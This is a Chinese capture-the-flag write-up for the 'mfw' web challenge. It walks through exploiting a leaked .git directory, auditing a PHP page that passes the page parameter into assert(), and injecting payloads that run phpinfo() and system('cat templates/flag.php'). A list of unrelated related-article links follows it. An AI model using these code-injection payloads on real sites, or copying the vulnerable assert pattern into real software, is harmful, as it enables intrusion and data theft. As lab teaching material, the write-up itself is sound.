步骤

打开所给场景:

点击发现一共有三个页面,是靠传递page参数来显示内容



查看网页源代码发现还有隐藏的flag页面,但是啥都不显示


试着输入其他字符则显示错误页面

很可能设置的是白名单,回过头来发现about页面说明使用了git,试着输入.git查看有没有源码泄露

确定了有git源码泄露,不知道为啥刷新了一下样式变了

使用lijiejie的工具GitHack:https://github.com/lijiejie/GitHack来下载源码
注意:代码使用python2写的,记得使用正确的版本才能用

可以看到有五个文件,打开flag.php文件也没有发现flag

审计一波index.php代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page .".php";
// templates/').phpinfo();//       "strpos('templates/').phpinfo();//
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//strpos函数的含义是查找..在$file中第一次出现的位置,没找到就返回false
//assert是一个断言函数,里面的内容会被当做代码执行,用来判断表达式是否成立,返回true或者false
//上面的意思就是$file里面包含..时,结束程序并返回Detected hacking attempt!底下附图
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//$file是否存在?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;//包含$file变量?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>


经过代码审计可以发现,page没有一点过滤,我们可以尝试一波注入,构造
payload:?page=').phpinfo();//
原理:使用')符号将strpos函数闭合,然后拼接上我们想要执行的代码phpinfo();再用注释符//将后面的内容全部注释
assert("strpos('templates/').phpinfo();//.php', '..') === false") or die("Detected hacking attempt!");
执行payload:

发现可以成功,再次构造payload:?page=').system('cat templates/flag.php');//
执行之后查看源代码,发现flag
这里最坑的就是flag在源代码里,让人以为失败了

总结

git源码泄露
命令执行
代码注入

【攻防世界】十八、mfw相关推荐

  1. 攻防世界杂项(misc)--新手练习区(详解十二道题完结,附件做题过程中使用到的各种工具和网站)

    攻防世界杂项(misc)–新手练习区(详解) 第一题:this_is_flag 题目描述:Most flags are in the form flag{xxx}, for example:flag{ ...

  2. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  3. OpenGL(十八)——Qt OpenGL绘制一个3D世界

    OpenGL(十八)--Qt OpenGL绘制一个3D世界 一.说明 本篇介绍构建一个3D的世界. 二.简介 加载3D世界,并在其中漫游: 在这一课中,你将学会如何加载3D世界,并在3D世界中漫游. ...

  4. [Python从零到壹] 五十八.图像增强及运算篇之图像锐化Sobel、Laplacian算子实现边缘检测

    欢迎大家来到"Python从零到壹",在这里我将分享约200篇Python系列文章,带大家一起去学习和玩耍,看看Python这个有趣的世界.所有文章都将结合案例.代码和作者的经验讲 ...

  5. 攻防世界RE练习区题目总结(1-10)

    前言 这篇文章是我做完攻防世界练习区的题目后对这十道题做的总结.emmm,其实这几道题我几个月前就做完了,这几天又回去试着再做一遍发现还是有一些地方存在疑惑,并且速度也没有太大的提升.所以决定把之前做 ...

  6. crypto-j(攻防世界)

    攻防世界-crypto 一.base64 题目:Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9 1.知识补充 一.什么是Base64? 百度百科中对Base6 ...

  7. 世界十大顶级黑客教父

    世界十大顶级黑客教父 \1. 凯文米特尼克(美国) 也许是他这一代最著名的黑客教父,米特尼克被美国司法部描述为"美国历史上最受欢迎的计算机罪犯".据称,这位自称"黑客海报 ...

  8. 攻防世界-MISC-练习区12题解

    攻防世界-MISC-新手区 一.this_is_flag 题目描述: Most flags are in the form flag{xxx}, for example:flag{th1s_!s_a_ ...

  9. 攻防世界- CRYPTO -练习区12题解

    攻防世界- CRYPTO-新手区 一.base64 题目描述: 元宵节灯谜是一种古老的传统民间观灯猜谜的习俗. 因为谜语能启迪智慧又饶有兴趣,灯谜增添节日气氛,是一项很有趣的活动. 你也很喜欢这个游戏 ...

  10. 攻防世界-----web知识点总结

    WEB 一. 网页源代码的方式 在地址栏前面加上view-source,如view-source:https://www.baidu.com 浏览器的设置菜单框中使用开发者工具,也可以查看网页源代码. ...

最新文章

  1. 51单片机中将变量、数组、函数设置在固定位置,定位到绝对地址
  2. zemax图像模拟_zemax2014免费版
  3. python为什么中文要encoding-python中encoding是什么意思
  4. boost::sort模块实现字符串排相关的测试程序
  5. 在一个Java版本上运行Eclipse IDE,但在另一个Java版本上运行
  6. hihocoder第233周
  7. java自定义事件案例_Java Custom Exception Example(Java自定义异常案例)
  8. 从零实现深度学习框架——N-Gram语言模型(二)
  9. Android开发之手机定位
  10. 深度学习:NLP之词嵌入(Word Embedding)
  11. 学Linux高性能Web集群,看这本书就够了
  12. bitbucket配置_用Bitbucket搭建博客初探
  13. 直男届的杀手-『小冰』架构解析
  14. Hadoop常见端口号及配置文件
  15. 对C++库链接的认识
  16. 1999-2020年全国及31省农用化肥施用量数据
  17. 雷神的 h264 编码例子
  18. 20 考研英语题源外刊精讲赏析 11~20 期外刊原文+翻译+点评
  19. IPguard外发查看器的设置步骤
  20. oa提醒模块要素_用华天动力OA系统管理采购合同,省钱!省钱!省钱

热门文章

  1. 树莓派升级安装python3.7
  2. 玄秘塔碑-唐代柳公权创作书法作品
  3. How to cover an IE windowed control (Select Box, ActiveX Object, etc.) with a DHTML layer.
  4. tensorflow-gpu深度学习安装的一系列问题——>解决方法汇总
  5. 断网怎么装网卡驱动?
  6. 发布工程到私有仓库maven
  7. Simplest NodeJS server
  8. postman一直sending 常见问题
  9. IMF传奇行动第85课:Spark Streaming第四课:基于HDFS的Spark Streaming案例实战和内幕源码解密
  10. 二叉树应用_二叉搜索树与双向链表